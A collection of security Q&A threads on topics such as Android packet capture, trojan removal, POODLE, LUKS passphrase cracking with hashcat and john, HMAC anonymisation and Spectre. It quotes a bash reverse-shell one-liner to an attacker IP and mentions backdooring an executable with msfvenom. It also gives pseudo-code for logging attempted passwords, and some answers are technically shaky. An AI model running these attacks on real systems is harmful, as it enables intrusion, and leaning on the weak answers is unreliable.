View packets of whatsapp? I start doing a research about what's actually delivered from some android applications (such as telegram or whatsapp) outside to the world.
I do it in the following mediums:

1. Wifi

2. GSM

It would have been great if I could just install wireshark or tcpdump in android and check it all, but the problem is that in order to know what's going on I need to get the decrypt packets, and that's problematic because these application use end-to-end encryption.

Is there a way,even commercial,to view packets in each of the  mediums above ?

I know about burp suite, and that might help, but it is only used with wifi medium, but I have no idea yet how to view packets with GSM.

Thanks for any idea.

Is there a way,even commercial,to get the unencrypted packets in each of the 3 mediums above (Wifi, GSM, Roaming)?

The answer is yes, there is. If you install wireshark on your phone, you will see the packets you send "pre modem." You can think of "roaming" and "GSM" as being like ethernet over cable lines... it's converted to a whole different signal but it's still using TCP/IP on either side of the transmission.

As far as un-encrypted, you have to work out what encryption you have. If you just want to see the packets, go to an unencrypted website. bbc.com is still http on it's homepage. There are many more. If you want to unpack encryption, you can still do that with wireshark for most common (TLS/SSL).  https://support.citrix.com/article/CTX116557

Here are a list of tools for PCAP on mobile, many of which have all the decryption and MITM features you're looking for. https://techwiser.com/wireshark-alternatives-for-android/


Cmd shuts down computer immediately after windows boots up and logs into the default account/user as the title suggests, after I login to default/main account which has administration privileges, after desktop loads almost instantly CMD opens and shuts down the computer, only way I found to stop it temporary was to login to my other account question is can you recognize this virus ?

I have been wandering shady russian sites lately could it be due to that ?

I have no antivirus installed other than windows defender.

Since it's not detected by antivirus software:

https://www.virustotal.com/#/file/27e26e77578466a1f93f1a33332893393e176960a5f9fd4295d4515d473a0195/detectionthe

The script runs the command shutdown -s -t 0, this is the usual command to shut down the computer after 0 seconds.

In order to remove, remove the following if found:

 User Startup: `
C:\Users\(username)\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\explorer.lnk`
C:\Users\(username)\AppData\Roaming\Tempo\DOC001.exe

HKLM\..\ShellIconOverlayIdentifiers\00asw: (no name) - {472083B0-C522-11CF-8763-00608CC02F24} - (no file)

Task: 7king hacker suck - C:\Windows\system32\cmd.exe /c shutdown -s -t 0


Why POODLE vulnerability has for each byte a probability of 1/256 to get it in plaintext? I read the Google paper about POODLE vulnerability (https://www.openssl.org/~bodo/ssl-poodle.pdf) and a lot of other articles.

Each paper/article wrote about that you have to try it in average 256 times to get the next byte in plaintext.

Currently my understanding is that I take a block of my encrypted data (located somewhere in the middle of all blocks) and copy it over the last block which contains the padding. I also understand that with some assumptions it is possible for a hacker to get the whole padding in this final block. And I understand how to calculate the last byte of the copied block if the MAC check succeeds.

However, I don't understand why the MAC check sometimes fails and sometimes not with the same copied encrypted block.

So I have following questions:

Why is the plaintext of the last block (this means for the last byte too) not always the same if I take the same encrypted block? Is this cause of the initial vector I need to get the plaintext?
Why the probability is exactly 1/256?

It is the job of an Initialization Vector to cause the same message to have a different encrypted value when encrypted with the same key. An IV is essentially a nonce used to salt a message.

As for why 1/256, that is the maximum possible values in a byte. A byte is a number that can range from 0 to 255. Including 0, that is 256 values.
So a 1 in 256 chance of getting the correct next value of a byte, is the same as if randomly guessing.


How to crack encrypted disk (crypto-LUKS) in an efficient way? I had a disk encrypted by crypto-LUKS but forgotten password.
I read a question posted here. LUKS HDD Encryption crack

But before that I want to know if there's some free software I can use to decrypt the password in a more efficient way?

Here's is a tutorial about how to decrypt LUKS password using john the ripper.

But can we use GPU to do the calculation? Will that be much faster for this scenario?

Some suggestions?

Appreciate your comments!

It depends what kind of encryption/format you have. Currently, there are many formats which cryptsetup support. Basically, the most popular are LUKS1 and LUKS2. You can check what kind of format you have with following command:

cryptsetup luksDump <device>

John the Ripper only supports CPU cracking with LUKS1 and specific combination of encryption/hash mode. If it is LUKS1, there is GPU support in Hashcat and you can take advantage of GPU cracking. There are also smart optimisations implemented where it does not perform second PBKDF2 which LUKS performs, but it needs to have first sector of the encrypted data ("payload").

Simple benchmark of common LUKS1 format (luks1 type with aes, cbc-essiv:sha256, sha1) that both Hashcat and John the Ripper reveals that GPU (R9 290x) is faster than CPU (i7 2.2 Ghz):

$ hashcat64.bin -a 0 -m 14600 sample-luks example0.dict
[..]
Speed.#1.........:      882 H/s (2.29ms) @ Accel:2 Loops:64 Thr:64 Vec:1

$ john --test=30 --format=luks
Benchmarking: LUKS [PBKDF2-SHA1 256/256 AVX2 8x]... DONE
Raw:    54.8 c/s real, 56.2 c/s virtual

John the Ripper have 54.8 c/s while Hashcat have 882 c/s which is approximately 16 times faster. Of course, there is option to have multiple GPUs per machine, so this number can be quite bigger. Therefore, Hashcat is currently best option to crack LUKS1 format (because of encryption/hash combinations it supports and speed of cracking).

Currently, there is no GPU support for LUKS2 format cracking currently. It does not mean it is not possible, but it is new format and probably just not yet implemented. If you have short list of passwords, you can take advantage of cryptsetup itself:

cat wordlist.txt | xargs -t -P `nproc` -i echo {} | cryptsetup --verbose --test-passphrase open sdb3-to-crack sdb3_crypt

If you need something more robust, it means you're limited to already mentioned tools (in following order):

bruteforce-luks
modified cryptsetup
grond.sh

If you want to read more about the procedure to crack each format, I would advise reading article Cracking LUKS/dm-crypt passphrases I recently written. I have also written that modified cryptsetup. Advantage of modified cryptsetup is that it supports everything what usual cryptsetup support. There are also static binaries of mentioned LUKS2 cracking tools if you want to play with it.


Are these four HTTP headers protection against Cross-Frame Scripting enough? I would like to ask a question what is the best protection against Cross-Frame Scripting.

I have set up my web server to adding these flags into HTTP HEADER:

X-Same-Domain: 1
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block

Is it enough? Or is there any more protection which could be used?
My web application is running on IIS.

One answer: No.

This is a good start but these headers are indicators for the Anti-XSS filters and engines which are incorporated by the modern browsers. These are very fragile and thin protection against Cross-Site Scripting (XSS). An attacker will easily bypass these.

In order to completely make your application armoured and protected against XSS, I would still recommend using the ASP.NET's ValidateRequest filter along with a custom application-wide filter which encodes special characters in all requests.

The application should not accept any script, special character or HTML in fields whenever not required. It should escape special characters that may prove to be harmful. The characters can be escaped as per the list available at this link:

TheUKWebDesignCompany.com, HTML Escape Characters: Complete List


Is DNS caching a security vulnerability? In FireFox, for example, there are network.dnsCacheExpiration and network.dnsCacheEntries preferences in about:config. Is increasing the length of time and number of cached DNS entries a security vulnerability? What if the IP address of the secure website I'm visiting changes, but my browser uses the old cached address, and now it's trying to authenticate to the wrong website, which could be that of an attacker?

This is what TLS is supposed to fix - if the website uses a certificate to identify itself, someone having the old IP address will still not be able to impersonate them.

Also, even if you don't cache the entries within Firefox, your own resolver is going to cache them. You cannot count on a DNS change being immediately visible to all clients - so anyone moving their site from one IP address to another should keep a cache or a redirect going at the old IP address for a while, in order to prevent just this.


Is it a bad idea to share the ssh host key in a diskless environment? I am looking at this cluster of student work stations. They are diskless clients which boot from NFS. They also have sshd enabled.

All of these machines share the same ssh host key (rsa,dsa,etc), because they boot from NFS. As NFS is not encrypted, the private keys are transferred in clear text anyways. This is not a huge problem, because the machines are on a separate VLAN and in theory you can only sniff the packages if you are root, which is unlikely to be the case.

Besides this obvious problem (private keys transferred without encryption), is it a bad idea to share the host keys between those machines?

The private key is the distinctive power of each machine. Having distinct keys for the machine makes sense, from a security point of view, only if the machines are not equivalent to each other. As you note, if an attacker obtains full control of one machine, then it can spy on the network and observe the files of all other machines, including their SSH private keys. It could also simulate the bootup procedure of any other machine, using the MAC address for that machine at the BOOTP/DHCP/whatever stage, and obtain all the secret values of that other machine. In short words, hijacking one machine can easily be expanded into hijack of all the machines. In that context, per-machine private keys would not buy you anything more.

If you want better security, including some isolation layer which would make machines not equivalent to each other, then you will need some heavy artillery. NFS is built over RPC, and there is an extension called Secure RPC which allows for encryption of all the data; however, it is old, poorly supported (I am not sure Linux supports it, for instance), and poorly maintained (if at all). A newer and arguably better method would be IPsec. Alternatively, one can encapsulate the NFS traffic into SSH, as explained in section 6.4 of this document. This raises interesting chicken-and-egg questions: how do you setup some SSH (or IPsec) in order to tunnel NFS in it, if you already need the NFS to obtain the SSH (or IPsec) private key ?

This is a rather generic point. Diskless systems are diskless. As such, they are, when shut down, identical to each other. Since a diskless machine cannot permanently store anything, it cannot contain any secret value which would give it some power denied from other machines. Consequently, all the diskless systems can be "emulated" from other diskless systems, in the bootup procedure, as alluded to in the first paragraph. Therefore, you cannot really create a context where the diskless machines would be really distinct from each other; as a corollary, you don't need to make the SSH private keys distinct.

Some notes, though:

If you can arrange for each diskless machine to have some local storage, e.g. a SD card on which it boots up, then you can put machine-specific secret values in there; and then you can have per-machine SSH private keys. Simply, the private key is read from the SD card, not from NFS, and private keys cease to travel unprotected on the wire (they cease to travel at all, which is even better).
Theoretically, you can get replace such local storage with human storage: arrange it so that a trusted sysadmin presides at each bootup, and enters a long secret password in order to unlock the machine secrets. I am not aware of existing software which would allow that, but there is no conceptual limitation. Except, of course, the need for the physical presence of a sysadmin every time a machine must boot or reboot, which is likely to be an unbearable constraint.
Don't put too much trust in VLAN. There are several protocols for that (standard and proprietary), but most are unprotected: frames are tagged by switches so that they know whether a frame should be shown on a specific wire or not. If an attacker gets physical access to one of the switches, or to a wire connecting two switches together or one of the VLAN-able machines to a switch, then he will get full access to the VLAN contents.
These are students. Compromise of a machine at some point is a certainty. One of them will unplug a machine, plug his own laptop in its place, configure the laptop to assume the IP and MAC addresses of the unplugged machine, and read all the files. This is easily done, in less than a minute, with generic OS tools. This goes a long way to say that if the students are attackers, then you are doomed. You can try to deter them with physical shielding (don't leave wires accessible in any way) and threats (trespassers will be beheaded and their corpses put on display), but this won't ultimately work. A better method, that I saw employed with success, is empowerment: monitor things so that you identify students who seem to be interested in security, and give them official admin power. They will not hack into machines that they already have root access to; and you can make them co-responsible for security, so they will cooperate in tracking trespassers.
A very common method for security is not caring. Just let the diskless stations become a godless wilderness, and filter things at the periphery. Students are creative and prone to test security, but they also get bored pretty quickly. Whether that method is good is an open question, but at least it is very easy to implement.


Is it secure to use the HMAC of a thing as salt for another HMAC? Problem
I'm trying to explain the full scenario in the next few paragraphs. I think this is important to get some context in which the question is asked, so please bear with me, even if it is a wall of text.
I'm currently tasked with anonymizing data in a secure way. The idea is to use HMAC(<string to anonymize>, key) to anonymize the data in so that it cannot be reversed. For example if you have a customer ID (CUST299128218) this would be HMAC-ed using SECRET as the key to 543a36dd07fe4a3fa4a2db202546eaaccaef71f871ebafe11de3b54784ba266e. Since we want to run analysis over the anonymized data it is important that the same customer ID always yields the same HMAC digest. So we cannot throw away the secret key as we need to anonymize future data with the same key.
The key obviously needs to be stored somewhere safe so it doesn't get out. Otherwise someone knowing a customer-ID could easily find that specific customer in the anonymized data. For various technical/organizational reasons we cannot use a hardware security module for storing the key. So I had a look at HashiCorp's Vault, which seems to be a nice fit for this as it provides a REST API where you can give it a plaintext and it returns the HMAC of this plaintext using a previously stored key. The key never leaves the Vault which is much better than having the key stored in some configuration property of the anonymization software.
However we're talking about large quantities of datasets  to be anonymized (a few hundred thousand up to a few millions per day) and it is foreseeable that calling the Vault API for each dataset (possibly multiple times if multiple items need to be anonymized) will result in a ton of overhead that may overburden the infrastructure we have available for this.
Proposed solution
Therefore I had this idea: What if I used some fixed string (e.g. 'customer_id_secret_bootstrap') and let Vault create an HMAC on this using the secret key. Then I use this HMAC as secret key for the actual HMAC on the data to anonymize. In functional terms:
temp_key = CALL_VAULT('customer_id_secret_bootstrap')
anonymized_text = HMAC( <plaintext>, temp_key)

This way I could only do one call to Vault and keep the temporary key in memory. I should always get the same temporary key back from Vault (since it's an HMAC), but the original key (which is used to derive the temporary key) never leaves the vault and when the program exits, the temporary key cannot be re-created without accessing the Vault. So this way I would ensure the security of the key while not having a million calls to the Vault.
Question
Now knowing that I'm not a security expert by far, this may be a terrible idea for reasons unbeknownst to me. Therefore I'd like to run this with you experts here - can you tell me if this is a good or bad idea and if it is a bad idea could you suggest some alternative approach that would ensure the security of the key and be scalable?
Update/Edit
As many answers point out it is not sufficient to just replace the IDs as there are other fields which can be used to correlate information down to a small set of persons or even a single person (e.g timestamps are great for this). We also take care of this by removing or replacing such information to ensure that this cannot happen (we have a very long checklist regarding such things which is based on anonymization standards). I just didn't want to bring in those details here as the question is already very long-winded.

Let me list the assumptions/situation:

You have a big database with customer IDs, and other fields each customer.
You want to anonymize this to run analyses. The organization will still know the original customer ID (you don't delete the original ID permanently), but the person doing the analysis will not.
Other fields for the customer will also have to be anonymized.
You are asking whether you can just use the anonymized customer ID as key for the other fields' HMAC.

The answer is no, this would not be secure. The person doing an analysis knows the anonymized customer ID and can just use it when brute-forcing other fields.

Another option is to just create a random key for each customer, and store this in the database with the customer's data. This means you don't need a "vault" or hardware security module: just read some bytes from /dev/urandom and store it with the customer data. Then use this as a key to anonymize other fields.

I imagine the database will look like this:

+---------+------------+------------+-------------------+
| ID      | Name       | Money      | Anonymization key |
+---------+------------+------------+-------------------+
| CUST999 | Jon Jonson | 3.14159265 | b2aZSo2D9erqwanrf |
+---------+------------+------------+-------------------+

Then to anonymize:

customer = database.read();
anon = new Customer();
anon.ID = anonymize(customer.ID, customer.AnonymizationKey)
anon.Name = anonymize(customer.Name, customer.AnonymizationKey)
anon.Money = customer.Money //Assuming you don't want to anonymize every field.
print(anon)

The anonymize(data, key) function could be an HMAC like you suggested. However, I think Stephane's comment is really good: they mention using a slow hash to prevent brute forcing. You could use a password storage algorithm (Bcrypt, Scrypt, Argon2, or PBKDF2, in no particular order) to make things more secure. Since you talk about a lot of records, though, I could imagine this is not possible (or only with low cost factors), but you can look into it.

By the way, lots of people try to just hash the customer ID (e.g. a phone number) so the marketing department can say with a straight face that it's anonymized, even though it's trivially brute-forceable. This is better already, since it involves a secret key. And on top of that, you're thinking of appropriate measures to really keep that key a secret. +1 for that!


How can Instagram cause Chrome to attempt to login and show me my username when I'm using incognito mode? When I reach Instagram user pages while in Incognito mode, Chrome pops up a window with my non-incognito username asking whether or not to sign in. See screenshot below. Although I assume Chrome Incognito isn't broken and sharing this information with Instagram - I do wonder how Instagram caused this dialog to show. It is a bit intrusive and I would have preferred if Chrome didn't do this. I've also never seen it anywhere on the internet, so it is a bit of a head scratcher. How'd they do it?

Instagram can't, and isn't, doing that. Chrome is. Chrome knows your Google account because you've signed in to it, and they know that you have your Instagram credentials saved in your Google account, so when you visit the Instagram website, they offer to sign in automatically for you. I don't know why this would trigger in Incognito mode; that seems like a possible bug. This is by design, apparently. I find this a bit worrying.

This popup isn't disableable as far as I can tell. If you're getting it, it means you've disabled auto sign-in and require a confirmation; that's as good as Chrome will give you, unless I'm missing an additional setting.


Reverse Bash Shell one liner I know that when the following code is run a reverse bash shell is created from the victim's computer to the attacker's computer. Can someone please explain to me the significance of the number "196"?

0<&196;exec 196<>/dev/tcp/<your IP>/<same unfiltered port>; sh <&196 >&196 2>&196

This code was taken from https://null-byte.wonderhowto.com/how-to/create-reverse-shell-remotely-execute-root-commands-over-any-open-port-using-netcat-bash-0132658/

Can someone please explain to me the significance of the number "196"?

196 is a randomly chosen number for a file descriptor that you're opening for reading from and writing to via exec. You can replace it by any number > 2.


Automatic OCR Document Capture Security Risks We have recently implemented an automated OCR, email scanning program that connects to our exchange email service, This service will open attached invoice and insert them into our accounting software program automatically. This program is installed and run on one of our VM's on the same subnet as our production machines.
The company implementing has asked for us to bypass our exchange spam and malware filters for the email addresses used for this service. My question is if someone sends an email with malicious content either within the HTML or PDF its self, would this actually cause the malicious code to execute and what other security risks could this create?

This is a good question for your vendor, although it may not be easy to get a helpful answer out of them.  This is really no different than asking, "We're running a website, and it accepts connections from the internet.  Is it possible that an attacker can send malicious code that allows them to execute code on the application server?"
Is it possible?
Of course.
Is it a practical risk?
Probably not but it's impossible for us to say.
The person best able to assess the likelihood of a vulnerability is a vendor.  You could also hire a professional to perform a security assessment or penetration test (with the vendor's permission, presumably).  No one here can tell you the likelihood of an actual issue though, anymore than you could tell me how easy it would be to break into my home.


PCI compliance of a SaaS provider We (merchant) will be using a SaaS to sell learning modules and accept credit card payments through a redirect to a service provider that will process the credit card payments. The SaaS will be hosted by Amazon web services.

Should the SaaS provider needs to be PCI compliant (because since PCI v.3.1 those who redirects are in scope). Or should the Amazon who will be hosting the Saas should be the one subject to PCI compliance?

There're 3 elements you need to take in place with the business model you describe:

Amazon needs to be PCI compliant because they operate the infrastructure behind companies that accept debit, credit or pre-paid cards. No worries here because, as a matter of fact, Amazon is PCI Compliant (https://aws.amazon.com/es/compliance/pci-dss-level-1-faqs/)
Your eCommerce SaaS provider also needs to be PCI compliant. Depending on the vendor you have signed a contract with, they might also need to take an ASV Scan for vulnerabilities. I can only guess that your provider won't process or store payment data, only transmit it to the third-party payment processor. In any case, that's your vendor's responsability, so choose your vendor carefully. (If you wanna learn more about this, please refer to this table https://www.pcicomplianceguide.org/wp-content/uploads/2016/01/3.1-SAQ-Routing-for-the-E-Commerce-Merchant-ControlScan-3.png)
The third-party payment data processor obviously has to be PCI Complaint (and probably is, so there's no need to go deeper here).

Needless to say, if your company (SaaS provider aside) process, transmit or store any payment data on premise or by phone or any other way you come across in your business model, then you need to be PCI Compliant as well.


Is Plaid safe if I change the password after deposit? Many services, like Coinbase or Robinhood, use Plaid to deposit money from Bank. I understand that Plaid stores my login and password, somewhere... somehow... who really knows. A lot of people complain about that.

So I have an idea, but it's so simple I'm not sure if that would work.

Let's say you trade on Coinbase. Every time you need to deposit money via Plaid, you:

change the password to your online bank account
pair your bank with Coinbase
deposit money
unpair your bank (I'm not sure if necessary)
change back the password.

Would you consider this approach 100% safe?

I know nothing of the services you're discussing, but I wouldn't be comfortable with giving my username and password for my bank account to any third party. At that point the other party is you, as far as your bank is concerned. The third party could change the password, change your email, change your address, etc. You might be able to convince a bank to roll back the changes but it wouldn't be fun. Your bank may even have specific language in your banking contract to limit their liability in case of negligence on your part.


Which ports are potential security risks for nmap? I'm using nmap and I am having trouble finding which ports are dangerous and pose the greatest security risks.

Which ports are potential security risks for nmap?

I was thinking samba, telnet, vnc and ftp will pose security risks but I'm unsure.

It doesn't really work like that.

Ports don't pose a security risk in themselves; it's the application listening on a port that has the risk attached.

And, how vulnerable any given application might be depends on many factors - is the application well patched? Is it well configured? So you can't just say "VNC is a risk", what VNC server is it? What version? How is it configured?

And, of course, security is always more complex. For example, I bet you picked telnet because everyone always says "telnet's insecure, use SSH instead", right? Which is true, but that's because the protocol telnet uses isn't secure against eavesdroppers, it's nothing to do with there being exploits for telnetd (i.e. the application that typically listens for telnet connections).

What you're meant to use nmap for in this context is to check that only the applications that need to have a port open actually do have a port open.

If a host doesn't need sshd, but nmap finds one listening, then you know to go onto the host and fix that. Which is nothing to do with how secure sshd or ssh is.


Do software do an integrity check before executing? I am testing a software that I need to install on my computer locally. It seems I can modify one of the .exe or .dll using msfvenom to include a malicious payload, like a reverse shell. From there, I can get a meterpreter shell with user privileges.

My question is do popular software (e.g. Microsoft Office) implement integrity check of all files before executing (e.g. word.exe). If not, why?

Performing such an integrity check is not a proper security measure. It might be some DRM-like obscurity that makes it harder to bypass licensing or some protection for accidental damage of executable file, but not a Keckerhof-like security countermeasure.

The problem is, once an attacker can modify the binary, she can also modify or completely remove the integrity check. (And if the attacker cannot modify the binary, such an attack is useless.)

Even if an attacker cannot find where the integrity verification is, she can, for example, create an executable that unpacks original executable and some malicious executable and runs both of them. Well, this might make it more obvious that there is some malware on the machine.

But vendors aren't likely to use complex solutions that are hard to find, because it is a lot of work and there is some risk of false alarms etc. On the other hand, some standardized solution will probably be easy to defeat – just because there would then be more motivation to make some universal tool.

A proper solution for the integrity problem are digital signatures that have to be checked before the binary starts. This is something that is commonly used.


Principal Password in Kerberos KDC database Is there a way for me to merge a bank account number, fingerprint image and IMEI of a phone into a single entity that I could possibly use as a password in the Kerberos KDC to uniquely identity a Principal?

No. Fingerprint images can be compared with each other, but are not reliably reproducible with all the exactness that is needed for use as a cryptographic key (and passwords are cryptographic keys that just happen to look like characters).


Can full disk encryption make malware recovery more difficult? Let us say that we have a computer with a fully encrypted disk. If it gets infected with malware, does this make it more difficult to use a LiveCD or other rescue option to clean it or restore it? It seems to me that one would have to decrypt the volume before cleaning, which feels like a lot of work.

Yes, full disk encryption is designed to stop those exact attack tools from operating.  And that's a good thing, not a bad thing.

Tools like a RescueCD exist only to clean up the mess after someone incompetent failed to take proper care of their system.  In a properly managed system, the admin will have made periodic backups of important files.  A crash will be an inconvenience, not a risk.

In the rare case of a disaster that resulted in important data loss, the administrator still has the keys, and can possibly decrypt the data for recovery efforts.

On the other hand, tools like a RescueCD are great tools for an attacker.  If the attacker cuts power to the system before the operator can secure all their files, the attacker can simply use these tools to access them.  Or if a system has crashed in the middle of a sensitive operation, and the administrator doesn't realize that it's left unsecured data behind on the hard drive, that data can reappear later, such as when the disk is salvaged.


Where are the anonymous/private domain validation SSL certs? I have yet to find a CA that doesn't require personal information for DV certificates.  Is this because all of the major browsers and operating systems have a policy to reject CAs that don't require personal information?  Or is there some other reason for the lack of privacy-friendly CAs?

I'd like to replace my personal web server's self-signed SSL certificate with a certificate signed by a well-trusted certificate authority.  I understand that some use cases require thorough identity investigations, but I only need a basic domain validation (DV) certificate.  I don't want to share personal details that are irrelevant to providing end-to-end encryption for personal use (e.g., my home address and phone number).

I'm not looking for a CA that blindly trusts a claim of ownership of a domain—I want them to have robust domain validation practices. I'm just looking for a CA that doesn't require information beyond proof of ownership of the domain.

Why should they care about my name or where I live as long as I can prove that I own the domain?

Do they want this information so that they can sue me if I do something "bad" with the cert they issue?  Does the government force them to collect this information for law enforcement or foreign intelligence purposes?

While there doesn't appear to be any existing privacy-friendly CA at this moment, all evidence suggests that the recently-announced Let's Encrypt CA (launching summer 2015) will not require users to provide personal information.  This could change, but I doubt it will given EFF's involvement.

If Let's Encrypt will not collect any personal information when it launches, then that suggests that existing CAs do not fundamentally require your personal information, and that they ask for it simply because they can.


pros and cons of a bootable BackTrack instance vs installed I've been wanting to mess around some with BackTrack to get a better understanding of some of the tools out there for penetration testing. I have a Linux box that isn't doing much right now that I was planning to install BackTrack 5.0 on. Recently though I was reading about booting BackTrack from DVD or USB key.

My question is, besides not having to dedicate an existing HD to the BackTrack installation, are there any pros or cons to running from a bootable DVD or USB key?

Is one easier to update?
Is one faster?
Do certain features work better or worse?

Generally depends what you are doing.

If you are planning on learning first, on a legal enviorment, I would recommend to install backtrack (dual boot, usb or virtually).

installing it:

Runs Faster
No need to do a large update over & over.
Allows you to add your own tools, and save files.
Allows you to save preferences.

At this point it seems that installed backtrack is the best option, but live backtrack gives you something that the installed backtrack dosn't.
It will always be in a clean state.

Just the fact that it is in a clean state, might be more important than all of the other points for a pen-tester, esepcially for a black hat. That is why another option is customizing the the live version.

It all boils down to what exactly are you looking for (as well what you prefer)? Learning -> Installed, Work -> Installed/Modified Live, Black-Hat Pen-Test -> Live/Modified Live.

Further explanation:

Backtrack is built on ubuntu, updates  are done the same way.

sudo apt-get update & upgrade

If you install it or use live cd you will have to update it, but
take in account that with the live cd you will need to do a large
update that may take from 15-25min, instead of small updates from
the installed OS.
Running backtrack from harddrive/ssd is faster, than accessing the
OS from a externall usb/cd. In my case performance difference has
been minimum.
If you build your own tools, or have found some tools that are not
included with Backtrack 5 can be added to the installed OS, if you
use the live version you will have to reinstall them.
When you boot into backtrack, your user is root and the password is
toor. You also have to start network by running

  $ /etc/init.d/networking start

Some want their own password, wallpaper, have no need for stealthy
boot, and so on. So they modify it on their installed OS.


How to recover/log attempted passwords from a failed login I saw the following question before:
Is it legal to log passwords from failed logins?

I think it raises another question:
How do I log failed attempted passwords?

That seems very useful when I need to check if someone is socially engineering his way into someone's else's account.

That would be incredibly simple. You could also log the attempted password value. Modify your login function somehow, depending on your language.

Keep in mind, this is untested pseudo code, but the concept will work:

Couple of security things:

private boolean properLength(String u, String p)
{
     return ((u.length > 3 && u.length <= 12) && (p.length > 8 && p.length <= 30)) ? true : false;
}

private boolean properFormat(String u, String p)
{
    return (regex.Valid(u, usernameRegex) && regex.Valid(p, passwordRegex)) ? true : false;
}

private String stripBadStuff(String stuff)
{
    // Just in case or something...
    return EncodingFunction.ToASCII(stuff).regexReplace(badCharacaterRegex, "");
}

And the login:

public String login(String user, String pass)
{
   if (!loginTriesExceeded) // Currently unhandled for example.
   {
       if ((user != null && pass != null) && properLength(user, pass) && properFormat(user, pass))
       {
            if (!userLoginTriesExceeded)
            {
                // Strips potential hacker injection attempts. You may want to find another way to log this attempt. You wouldn't want to log this to a database without parameters/bound variables. That's beyond the scope of this answer. Google it.
                String newUser = stripBadStuff(user);
                String newPass = stripBadStuff(pass);

               // Would be changing DB.lookup() to return true if valid login is detected. DB.lookup(newUser,newPass) will now be assumed that it tests the plaintext password against the salted hash.
                if (DB.lookup(newUser, newPass))
                {
                    // Prevent injection. This will assume DB.lookup() tests the password against the stored hash.
                    return "Hello " + newUser;
                }
                else
                {
                    logInvalidAttempt(newUser, newPass);
                    return "Invalid login.";
                }
           }
           else
           {
                return "User login attempts exceeded.";
           }
        }
        else
        {
            return "Invalid login.";
        }
    }
    else
    {
        // Do nothing, or inform the visitor that they've exceeded max global logins based on their IP / cookie
        return null;
    }
}

You would just use logInvalidAttempt(user, pass); when it fails. So instead of just saying, "login failed," you'd say "login failed" and log the attempt, but be careful not to implement any security flaws with this. You will have to ensure that the data is correctly input.

In general, just sanitizing input is not the answer, but I sometimes add it as an additional layer after everything else has finished, just in case. Not always, just sometimes. The example here is for learning purposes.

Keep in mind that you'll have to write your own logInvalidAttempt() function; that is too broad for this answer.

You can also do this for any Content Management System such as joomla, WordPress, Drupal, Django, et al. They are, after all, open source. So all you need to do is modify the appropriate login function.

You need to also make sure not too much data gets logged. You'll have to cut it off at some point.

TLDR:

Modify login() function.
When the user tries to log in using invalid credentials, log it somewhere.

If logging to a SQL Server database, parameterize your queries.
If logging to an Oracle database, bind your variables and use prepared statements.
If logging to a MySQL database, use prepared statements and bind your parameters.
If logging it to a file, or to any database, don't allow it to insert too much data. You gotta cut it off at some point.

Read logs/database.


Spectre on AMD K7 generation : exploitable, in the real world? Considering AMD K7-family (Ahtlon XP...) 32-bit only processors, have there been any published exploits (viz "Spectre" type attacks) or indications that such would be even remotely possible in practice ?
While in theory, I understand, similar effects on the caches contents from (mis)speculated instructions are possible on those older processors than have been demonstrated on Itel/AMD 64, in practice I wonder whether there are the means for exploiting them on the platform under consideration. Specifically, lacking SSE2 and higher "goodies" ( clflush...), is it possible yet, using the comparatively reduced instruction set, to devise a working POC "reading" the leaked bits, at user privilege, and then, at a significant enough bit rate for such an attack to be a serious threat ?
I'd appreciate to see example code if so...

Published exploits?  Not that I'm aware of.

Indications that it would be possible?  Yes.  The K7 family, like its Intel counterparts, is an out-of-order design with a branch predictor.  Those are the two critical parts for performing a Spectre attack.  You don't need a cache-flush instruction to perform the attack, since you can get the same effect just by reading an area of memory you know the attack won't access.  In fact, this is exactly how the Javascript proof-of-concept clears the cache, since Javascript JIT doesn't give access to clflush.


Is it completely safe to store the unencrypted credentials within a variable in the ios device Overview is we encrypt the credentials using the pincode as the passphrase that the user also sets. One of the requirements is to NEVER SAVE THE PINCODE anytime anywhere.

Everytime the user goes out of the app or exits the app, a lock screen will show when the user runs the app again that asks for the user's pin code. The app will then try to decrypt the credential using the pin code that the user entered.

Now if the decryption is successful, we put the credential in a variable on our singleton because we need the credential for various things like regeneration of session with the server and as passphrase for encrypting downloaded files.

I would like to ask if it is safe to do this, because from my research, this is how web developers do it but websites have servers that are secured inside of a company unlike an iOS device that anyone can have their hands on.

Are you defending against an attacker with full access to the device? If so, a credential encrypted with a PIN code (which implies it consists of only 4 or 6 digits) is very easy to decrypt - a maximum of only 10,000 or 1,000,000 tries and you're there.

I would recommend verifying the PIN that the user entered against the server for authentication, and limiting (server-side) the amount of tries the user is allowed.


Is there a domain specific language for security policies Is there a domain specific language popular for defining security policies that are applicable across systems, domains or enterprises ?

Edit: Typically to express security policies at network level for firewalls etc

I've used XML policies mostly.  But that's the world of web services --- I don't have an analogue in any other technology space, though.  Options include:

XACML - access control policy
Web Services Policy language - specs out WS-Policy and WS-PolicyAttachment - used for setting policies on how web services must be secured.

I'm fairly sure there are others in the web service space - but don't have links readily on hand.

In the lower layers - like lower layer firewalls - I don't have ready analogues.  I'm not such an expert in this space, but it seems like communication of policy implementation is vendor-dependant.

Appliciablity, so far as I can tell - is more about organizational boundaries and real world authority than technology options.  One of the nicer things about the web policies is that they can be varied across groups - so my high end server can have a tighter policy than a low-end server offering a similar service.


Why do Google 2-factor authentication SMS codes never start with a 0? When you use 2-step authentication to log to your Google Account, you can get an SMS on your mobile-phone with a G-123456 style code.

I think that I never got a code with a leading zero. Is there a reason for this or is this just an improbable occurrence in the realm of randomness?

This is a classic implementation choice to help reduce data entry mistakes.

People who are in computer sciences or information security understand the difference between a text string and a series of digits that represents a value.  But people who have been trained in finance, accounting, and other fields have been taught to truncate leading zeros when dealing with numbers.  They are more likely to see a row of digits as a "number that has a value".  For example, if they see "000001", their brain interprets this as the value "one".  When it comes time to enter the code, they recall the value "one" and reflexively type "1".  Numerically it's an equivalent value, but as a text string it's not an exact match.

The system designer has several options to deal with this.

They can generate codes with leading zeros and allow the few users to make the occasional mistake, forcing them to re-enter it.  That can give the app a reputation that it is difficult to use.
They can change the input system to match on either text matches or numeric value matches.  This increases the complexity of the user input logic in a critical security area of the code.  The history of security flaws is a list of evidence that shows increases in complexity on processing user input increases the risk of coding errors that lead to vulnerabilities.
They can generate the code from a restricted set of numbers that never risks causing the user confusion.  This reduces the possible number of valid combinations by about 10%, which the system designer must account for when computing the feasibility of a brute force or random guessing attack.  And by shifting the complexity to the generation section of the code and away from the user input section, programming mistakes may be less likely to create vulnerabilities.

Ultimately, it's a human factors problem for a small fraction of the population.  But security systems are already complex, time-consuming, and frustrating, so any usability issues that increase user frustration are really bad to intentionally keep in a security system (especially one you're trying to market commercially.)


